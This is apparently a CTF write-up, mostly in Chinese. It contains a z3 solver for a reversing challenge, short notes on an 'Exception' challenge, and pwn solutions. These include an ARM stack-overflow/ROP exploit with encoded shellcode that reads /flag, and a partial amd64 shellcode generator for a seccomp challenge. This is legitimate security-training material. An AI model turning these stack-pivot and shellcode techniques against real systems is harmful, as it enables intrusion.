a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
+ ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+ 100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)) ^ (16975111 * (a2[i+106] + 127)) ^ a3[a2[i+106]]
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ ((a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)))
* ((16975111
* (a2[i+152] + 127)) ^ a3[a2[i+152]]))
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
+ ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+ 160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
- ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+ 192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)) ^ (16975111 * (a2[i+198] + 127)) ^ a3[a2[i+198]]
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
+ ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127)==0)





i = 214 * 26 - 2


a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)) ^ (16975111 * (a2[i+37] + 127)) ^ a3[a2[i+37]]
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
+ ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ ((a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)))
* ((16975111
* (a2[i+60] + 127)) ^ a3[a2[i+60]]))
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
- ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ ((a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)))
* ((16975111
* (a2[i+129] + 127)) ^ a3[a2[i+129]]))
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
+ ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ ((a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)))
* ((16975111
* (a2[i+175] + 127)) ^ a3[a2[i+175]]))
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
+ ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ ((a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)))
* ((16975111
* (a2[i+198] + 127)) ^ a3[a2[i+198]]))
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
+ ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127)==0)


i = 214 * 28 - 2
a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+ 4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+ 16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)) ^ (16975111 * (a2[i+37] + 127)) ^ a3[a2[i+37]]
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
- ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)) ^ (16975111 * (a2[i+60] + 127)) ^ a3[a2[i+60]]
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+ 68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
+ ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+ 100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
- ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
- ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+ 160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ ((a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)))
* ((16975111
* (a2[i+175] + 127)) ^ a3[a2[i+175]]))
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
- ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+ 192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ ((a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)))
* ((16975111
* (a2[i+198] + 127)) ^ a3[a2[i+198]]))
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add( a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)



i = 214 * 35 - 2

a3[a2[i+3]] = (16975111 * (a2[i+3] + 127)) ^ get_int(i+ 4)
a3[a2[i+9]] = (16975111 * (a2[i+9] + 127)) ^ get_int(i+10)
a3[a2[i+15]] = (16975111 * (a2[i+15] + 127)) ^ get_int(i+ 16)
a3[a2[i+21]] = (16975111 * (a2[i+21] + 127)) ^ get_int(i+22)
a3[a2[i+27]] = (16975111 * (a2[i+27] + 127)) ^ a1[(16975111
* (a2[i+28] + 127)) ^ a3[a2[i+28]]]
a3[a2[i+30]] = (16975111 * (a2[i+30] + 127)) ^ get_int(i+31)
a3[a2[i+36]] = (16975111 * (a2[i+36] + 127)) ^ ((a3[a2[i+38]] ^ (16975111 * (a2[i+38] + 127)))
* ((16975111
* (a2[i+37] + 127)) ^ a3[a2[i+37]]))
a3[a2[i+40]] = (16975111 * (a2[i+40] + 127)) ^ ((a3[a2[i+42]] ^ (16975111 * (a2[i+42] + 127)))
+ ((16975111
* (a2[i+41] + 127)) ^ a3[a2[i+41]]))
a3[a2[i+44]] = (16975111 * (a2[i+44] + 127)) ^ get_int(i+45)
a3[a2[i+50]] = (16975111 * (a2[i+50] + 127)) ^ a1[(16975111
* (a2[i+51] + 127)) ^ a3[a2[i+51]]]
a3[a2[i+53]] = (16975111 * (a2[i+53] + 127)) ^ get_int(i+54)
a3[a2[i+59]] = (16975111 * (a2[i+59] + 127)) ^ a3[a2[i+61]] ^ (16975111 * (a2[i+61] + 127)) ^ (16975111 * (a2[i+60] + 127)) ^ a3[a2[i+60]]
a3[a2[i+63]] = (16975111 * (a2[i+63] + 127)) ^ ((a3[a2[i+65]] ^ (16975111 * (a2[i+65] + 127)))
+ ((16975111
* (a2[i+64] + 127)) ^ a3[a2[i+64]]))
a3[a2[i+67]] = (16975111 * (a2[i+67] + 127)) ^ get_int(i+ 68)
a3[a2[i+73]] = (16975111 * (a2[i+73] + 127)) ^ a1[(16975111
* (a2[i+74] + 127)) ^ a3[a2[i+74]]]
a3[a2[i+76]] = (16975111 * (a2[i+76] + 127)) ^ get_int(i+77)
a3[a2[i+82]] = (16975111 * (a2[i+82] + 127)) ^ ((a3[a2[i+84]] ^ (16975111 * (a2[i+84] + 127)))
* ((16975111
* (a2[i+83] + 127)) ^ a3[a2[i+83]]))
a3[a2[i+86]] = (16975111 * (a2[i+86] + 127)) ^ ((a3[a2[i+88]] ^ (16975111 * (a2[i+88] + 127)))
+ ((16975111
* (a2[i+87] + 127)) ^ a3[a2[i+87]]))
a3[a2[i+90]] = (16975111 * (a2[i+90] + 127)) ^ get_int(i+91)
a3[a2[i+96]] = (16975111 * (a2[i+96] + 127)) ^ a1[(16975111
* (a2[i+97] + 127)) ^ a3[a2[i+97]]]
a3[a2[i+99]] = (16975111 * (a2[i+99] + 127)) ^ get_int(i+ 100)
a3[a2[i+105]] = (16975111 * (a2[i+105] + 127)) ^ ((a3[a2[i+107]] ^ (16975111 * (a2[i+107] + 127)))
* ((16975111
* (a2[i+106] + 127)) ^ a3[a2[i+106]]))
a3[a2[i+109]] = (16975111 * (a2[i+109] + 127)) ^ ((a3[a2[i+111]] ^ (16975111 * (a2[i+111] + 127)))
+ ((16975111
* (a2[i+110] + 127)) ^ a3[a2[i+110]]))
a3[a2[i+113]] = (16975111 * (a2[i+113] + 127)) ^ get_int(i+114)
a3[a2[i+119]] = (16975111 * (a2[i+119] + 127)) ^ a1[(16975111 * (a2[i+120] + 127)) ^ a3[a2[i+120]]]
a3[a2[i+122]] = (16975111 * (a2[i+122] + 127)) ^ get_int(i+123)
a3[a2[i+128]] = (16975111 * (a2[i+128] + 127)) ^ a3[a2[i+130]] ^ (16975111 * (a2[i+130] + 127)) ^ (16975111 * (a2[i+129] + 127)) ^ a3[a2[i+129]]
a3[a2[i+132]] = (16975111 * (a2[i+132] + 127)) ^ ((a3[a2[i+134]] ^ (16975111 * (a2[i+134] + 127)))
+ ((16975111
* (a2[i+133] + 127)) ^ a3[a2[i+133]]))
a3[a2[i+136]] = (16975111 * (a2[i+136] + 127)) ^ get_int(i+137)
a3[a2[i+142]] = (16975111 * (a2[i+142] + 127)) ^ a1[(16975111 * (a2[i+143] + 127)) ^ a3[a2[i+143]]]
a3[a2[i+145]] = (16975111 * (a2[i+145] + 127)) ^ get_int(i+146)
a3[a2[i+151]] = (16975111 * (a2[i+151] + 127)) ^ a3[a2[i+153]] ^ (16975111 * (a2[i+153] + 127)) ^ (16975111 * (a2[i+152] + 127)) ^ a3[a2[i+152]]
a3[a2[i+155]] = (16975111 * (a2[i+155] + 127)) ^ ((a3[a2[i+157]] ^ (16975111 * (a2[i+157] + 127)))
- ((16975111
* (a2[i+156] + 127)) ^ a3[a2[i+156]]))
a3[a2[i+159]] = (16975111 * (a2[i+159] + 127)) ^ get_int(i+ 160)
a3[a2[i+165]] = (16975111 * (a2[i+165] + 127)) ^ a1[(16975111 * (a2[i+166] + 127)) ^ a3[a2[i+166]]]
a3[a2[i+168]] = (16975111 * (a2[i+168] + 127)) ^ get_int(i+169)
a3[a2[i+174]] = (16975111 * (a2[i+174] + 127)) ^ a3[a2[i+176]] ^ (16975111 * (a2[i+176] + 127)) ^ (16975111 * (a2[i+175] + 127)) ^ a3[a2[i+175]]
a3[a2[i+178]] = (16975111 * (a2[i+178] + 127)) ^ ((a3[a2[i+180]] ^ (16975111 * (a2[i+180] + 127)))
+ ((16975111
* (a2[i+179] + 127)) ^ a3[a2[i+179]]))
a3[a2[i+182]] = (16975111 * (a2[i+182] + 127)) ^ get_int(i+183)
a3[a2[i+188]] = (16975111 * (a2[i+188] + 127)) ^ a1[(16975111 * (a2[i+189] + 127)) ^ a3[a2[i+189]]]
a3[a2[i+191]] = (16975111 * (a2[i+191] + 127)) ^ get_int(i+ 192)
a3[a2[i+197]] = (16975111 * (a2[i+197] + 127)) ^ a3[a2[i+199]] ^ (16975111 * (a2[i+199] + 127)) ^ (16975111 * (a2[i+198] + 127)) ^ a3[a2[i+198]]
a3[a2[i+201]] = (16975111 * (a2[i+201] + 127)) ^ ((a3[a2[i+203]] ^ (16975111 * (a2[i+203] + 127)))
- ((16975111
* (a2[i+202] + 127)) ^ a3[a2[i+202]]))
a3[a2[i+205]] = (16975111 * (a2[i+205] + 127)) ^ get_int(i+206)
a3[a2[i+211]] = (16975111 * (a2[i+211] + 127)) ^ ((a3[a2[i+213]] ^ (16975111 * (a2[i+213] + 127)))
- ((16975111
* (a2[i+212] + 127)) ^ a3[a2[i+212]]))
so.add(a3[a2[i+215]] - 16975111 * (a2[i+215] + 127) == 0)



print(so.check())
m = so.model()
res = ''
for i in a1[:38]:
res += chr(m[i].as_long())

print(res)

Exception

part1: aes_encryption_with_sbox_modified

part2: simple encoding

part3 & part4: heaven’s gate(x86→x64 switch)

part3: rc6

part4: an easy check

pLeA5e_nEveR_UnDeRe5t1m4te_7he_heArt_Of_a_cH4mpI0n

Pwn

rtos

main 存在栈溢出,rop 后栈迁移并读入 shellcode,然后跳去执行 shellcode 即可

前期一直在凑 < 07f 的 shellcode 凑了半天,写了个简易的 encoder

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from pwn import *
context.arch = 'arm'
context.log_level = 'debug'
flag = True
flag = False

decode_shellcode = '''
ldr r6, [pc, 0x3c]
ldr r7, [pc, 0x40]
movs r3, 2
lsrs r3, 1
eors r0, r0

ldrb r1, [r6, r0]
ldrb r2, [r7, r0]
lsls r2, 5
eors r1, r2
strb r1, [r6, r0]
adds r0, r3

ldr r5, [pc, 0x30]
movs r4, 4
lsls r4, 5
lsls r4, 1
ands r4, r0
lsrs r4, 5
lsrs r4, 3
movs r1, 0x22
muls r1, r4
adds r5, r1
bx r5
bx r6
'''

def main(p):
p.recvuntil('2006 - 2020 Copyright by rt-thread team')
payload = b'A'*(0x20) + p32(0x60004400)
payload += p32(0x60012518)
#payload += b'\xf8\x24\x01\x01\x60'
#payload += b'\x00'
#payload = payload.replace(b'\x01', b'\x01\x01')
sleep(1)
#p.recvuntil('welcome to simple rtos pwn level 1')

input()
p.send(payload + b'\n')

#p.recvuntil('welcome to simple rtos pwn level 1')
payload = b'A'*(0x20) + p32(0x60004400) + p32(0x60004404 + 1)
payload += asm(decode_shellcode, arch='thumb').ljust(0x40, b'\x00')

payload += p32(0x60004450) # shellcode
payload += p32(0x60004550) # shellcode table
payload += p32(0x6000440e + 1)


tmp_payload = asm(
'''
movw r4, 0x8a28
movt r4, 0x9
add sp, r4

movw r6, 0x44a0
movt r6, 0x6000
mov r0, r6
mov r1, 0
sub r2, r0, r0
movw r5, 0x73E4
movt r5, 0x6005
blx r5

add r1, r6, 0x3000
mov r2, 0xff
add r5, 0x124
blx r5

mov r0, 3
add r1, r6, 0x3000
mov r2, 0xff
add r5, 0x90
blx r5

''') + b'/flag\x00'
shellcode_table = b''
encode_shellcode = b''

print(hexdump(tmp_payload.ljust(0x100, b'\x00')))


for i in range(len(tmp_payload)):
if tmp_payload[i] >= 0x80:
encode_shellcode += chr(tmp_payload[i]^0x80).encode('latin')
shellcode_table += b'\x04'
else:
encode_shellcode += tmp_payload[i:i+1]
shellcode_table += b'\x00'

payload += encode_shellcode.ljust(0x100, b'\x00')

print(hexdump(encode_shellcode.ljust(0x100, b'\x00')))

payload += shellcode_table.ljust(0x100, b'\x00')

print(hexdump(shellcode_table.ljust(0x100, b'\x00')))


#payload = payload.replace(b'\x01', b'\x01\x01')
#input()
p.send(payload + b'\n')

p.recvuntil(b'\x00')
p.interactive()
if __name__ == "__main__":
while True:
if flag:
#p = remote('123.57.4.93', 45559)
p = process(['python2', './pow.py', 'ask', '204800'])
p.recvuntil('./pow.py')
ask = p.recvuntil('\n', drop=True)
pow = process(['python3', './pow.py', ask.decode()])
pow.recvuntil('Solution: ')
ans = pow.recvuntil('\n', drop=True)
p.sendline(ans)
else:
p = process(['bash', './run.sh'])
try:
main(p)
except EOFError:
pass
p.close()
break
sleep(1)

defile

没开 canary ,partial RELRO,开了 hacker 和 handler 两个进程

hacker 进程开了 seccomp,只允许 write close 系统调用

mmap 开了 大小为 4096的内存。可以读入 4094 位shellcode,并且循环从shellcode和shellcode+4094/2 开始执行

handler 进程会读 128 位的随机 key,通过 pipefd[0],读 128 位的 answer并和 key 比较,如果两者相等就输出 flag

mmap 开一块大小为 4096 的 rwx 段 shared

hacker 进程中,向 shared 写入 4094 长度的 shellcode

handler 进程中,生成 128 位的 key,遍历 key 的每一位,每一次循环检测 shared+4095 存放的值是否为 key[i],如果是就随机将 shared 中的一个 qword 改成 0xcccccccccccccccc,否则就阻塞该进程直到 shared 这一位与 key[i] 相等

遍历完成后(遍历完了其实相当于已经得到完整的 key 了),handler 进程从 pipefd 中读 128 位,与 key 比较,相等输出 flag

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from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.bits = '64'

# p = gdb.debug("./defile_fake", "b *0x0005555555558DE\n set follow-fork-mode child\n set detach-on-fork off\n")
p = None
# p = remote("39.97.171.121", "40001")
def gen_part1():
payload = b""
payload += asm("mov rdi, [rsp+0xe8]")
payload += asm("add rdi, 0x2647")
# payload += asm("mov rdi, [rsp+0x108]")
# payload += asm("add rdi, 0x235f")

payload += asm("mov rdi, [rdi]")
payload += asm("and rdi, 0xff")

payload += asm("mov r10, 0xcccccccccccccccc")
payload += asm("mov r8, 0x9090909090909090")

payload += asm("mov rbx, rdx")
payload += asm("add rbx, 0xfff")

payload += asm("lea rsi, [rsp-8]")

payload += asm("xor rax, rax")
payload += asm("inc al")

payload += asm("xor rdx, rdx")
payload += asm("inc dx")

payload += asm("xor rcx, rcx")
payload += asm("mov [rbx], cl")
payload += asm("jmp $+2924") # jmp to check
payload += asm("inc cl")
payload += asm("jmp $-9") # jmp to mov
return payload

def gen_check_and_recover():
payload = b""
payload += asm("mov r12, 0x100000")
payload += asm("dec r12")
payload += asm("cmp r12, 0")
payload += asm("jnz $-7")
payload += asm("xor r9, r9")
payload += asm("mov r11, [rbx+r9-0xfff]")
payload += asm("cmp r11, r10")
payload += asm("jz $+20")
payload += asm("add r9, 8")
payload += asm("CMP r9, 0x1000")
payload += asm("jnz $-24")

payload += asm("jmp $-2964")


